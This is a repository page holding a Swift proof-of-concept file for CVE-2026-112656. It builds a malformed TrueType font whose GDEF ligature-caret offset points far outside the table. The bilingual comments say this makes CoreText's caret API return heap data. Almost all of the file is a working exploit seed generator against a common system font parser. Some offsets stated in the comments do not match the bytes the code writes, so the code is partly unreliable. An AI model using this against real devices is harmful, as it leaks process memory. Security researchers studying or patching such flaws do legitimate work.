Files
cinder27/CVE-2026-112656/CVE-2026-112656.swift
T

142 lines
6.5 KiB
Swift
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// font.gdef · CoreText · GetLigatureCaretPositionsForGlyph · CVE-2026-112656
// 原语: OOB 读 · 进程内 · tier 2
// Primitive: OOB read · in-process · tier 2
//
// [zh] GDEFLigatureCaret 追链越界读
// GDEF 的 LigCaretList → LigGlyph → CaretValue 偏移在 27.0 被直接跟随:caret 偏移以大端 u16 读出后与 LigGlyph 基址相加,既不检查表尾也不检查符号位。
// CaretValue 偏移由文件控制,指向表外即走出 GDEF,读出的 i16 坐标原样返回给调用者。27.2 将该偏移钳制在 GDEF 表切片内。
//
// [en] GDEFLigatureCaret offset-chain out-of-bounds read
// GDEF LigCaretList → LigGlyph → CaretValue offsets are followed directly on 27.0: the caret offset
// is read as a big-endian u16 and added to the LigGlyph base with neither an end-check nor a sign-check.
// The CaretValue offset is file-controlled, so pointing it outside the table walks out of the GDEF
// and the i16 coordinate read there is handed back to the caller as-is. iOS 27.2 clamps the offset
// against the GDEF table slice.
// ── 判别 / oracle ──
// 种子为结构完整的 TrueType:LigCaretList 覆盖字形 1,CaretValue 偏移 0x7F00 —— 落在字体数据约 32 KB 之外。驱动走公开 API CTFontGetLigatureCaretPositions:追链被跟随时返回非零
// caret 数且坐标为堆残留;被钳制时返回 0。附带记录:GDEF 的另一个消费者 AttachList/AttachPoint 具有同样的偏移追链形状,在本修复窗口内未被触及 —— 负结果同样留档。
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
static func be32(_ v: UInt32) -> [UInt8] {
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
}
static func le32(_ v: UInt32) -> [UInt8] {
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
}
static func be64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
}
static func le64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
}
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (FontPayload) ──
enum FontPayload {
static func gdefCaretChase() -> Data {
var tables: [(String, [UInt8])] = []
// head
var head = [UInt8](repeating: 0, count: 54)
head[0] = 0x00; head[1] = 0x01; head[2] = 0x00; head[3] = 0x00
head[4] = 0x00; head[5] = 0x01; head[6] = 0x00; head[7] = 0x00
head[12] = 0x5F; head[13] = 0x0F // magic
tables.append(("head", head))
// hhea
var hhea = [UInt8](repeating: 0, count: 36)
hhea[0] = 0x00; hhea[1] = 0x01
hhea[34] = 0x00; hhea[35] = 0x00
tables.append(("hhea", hhea))
// maxp
var maxp = [UInt8](repeating: 0, count: 32)
maxp[0] = 0x00; maxp[1] = 0x00; maxp[2] = 0x50; maxp[3] = 0x00
maxp[4] = 0x00; maxp[5] = 0x01
tables.append(("maxp", maxp))
// hmtx
tables.append(("hmtx", [0x02, 0x00, 0x00, 0x00]))
// loca (short format, 2 glyphs)
tables.append(("loca", [0x00, 0x00, 0x00, 0x04]))
// glyf
tables.append(("glyf", [0x00, 0x00, 0x00, 0x00]))
// cmap (format 4, minimal)
var cmap = [UInt8]()
cmap += B.be16(0) + B.be16(1)
cmap += B.be16(3) + B.be16(1) + B.be32(12)
cmap += B.be16(4) + B.be16(24) + B.be16(0)
cmap += B.be16(2) + B.be16(2) + B.be16(0) + B.be16(0)
cmap += B.be16(0xFFFF) + B.be16(0) + B.be16(0)
tables.append(("cmap", cmap))
// GDEF with a LigCaretList whose CaretValue offset runs past the table
var gdef = [UInt8]()
gdef += B.be16(0x0001) + B.be16(0x0000) // version 1.0
gdef += B.be16(0x0000) // glyphClassDefOffset — absent
gdef += B.be16(0x0000) // attachListOffset — absent
gdef += B.be16(0x000C) // ligCaretListOffset → 12
gdef += B.be16(0x0000) // markAttachClassDefOffset — absent
// LigCaretList at 12
gdef += B.be16(0x000C) // coverageOffset → 24
gdef += B.be16(0x0001) // ligGlyphCount
gdef += B.be16(0x0010) // ligGlyphOffsets[0] → 28
gdef += B.be16(0x0000) // pad
// Coverage at 24: format 1, glyph 1
gdef += B.be16(0x0001) + B.be16(0x0001) + B.be16(0x0001)
// LigGlyph at 28
gdef += B.be16(0x0001) // caretCount
gdef += B.be16(0x7F00) // caretValueOffsets[0] — ~32 KB past the table
tables.append(("GDEF", gdef))
// --- assemble
let numTables = UInt16(tables.count)
var header = Data()
header.append(contentsOf: B.be32(0x0001_0000))
header.append(contentsOf: B.be16(numTables))
var searchRange: UInt16 = 1
var entrySelector: UInt16 = 0
while searchRange * 2 <= numTables { searchRange *= 2; entrySelector += 1 }
searchRange *= 16
header.append(contentsOf: B.be16(searchRange))
header.append(contentsOf: B.be16(entrySelector))
header.append(contentsOf: B.be16(numTables * 16 - searchRange))
var body = Data()
var offset = 12 + Int(numTables) * 16
var records = Data()
var blobs = Data()
for (tag, bytes) in tables.sorted(by: { $0.0 < $1.0 }) {
records.append(contentsOf: B.ascii(tag))
records.append(contentsOf: B.be32(0x0001_0000)) // checksum (unchecked by parsers)
records.append(contentsOf: B.be32(UInt32(offset)))
records.append(contentsOf: B.be32(UInt32(bytes.count)))
var padded = bytes
while padded.count % 4 != 0 { padded.append(0) }
blobs.append(contentsOf: padded)
offset += padded.count
}
body.append(records)
body.append(blobs)
var out = Data()
out.append(header)
out.append(body)
return out
}
}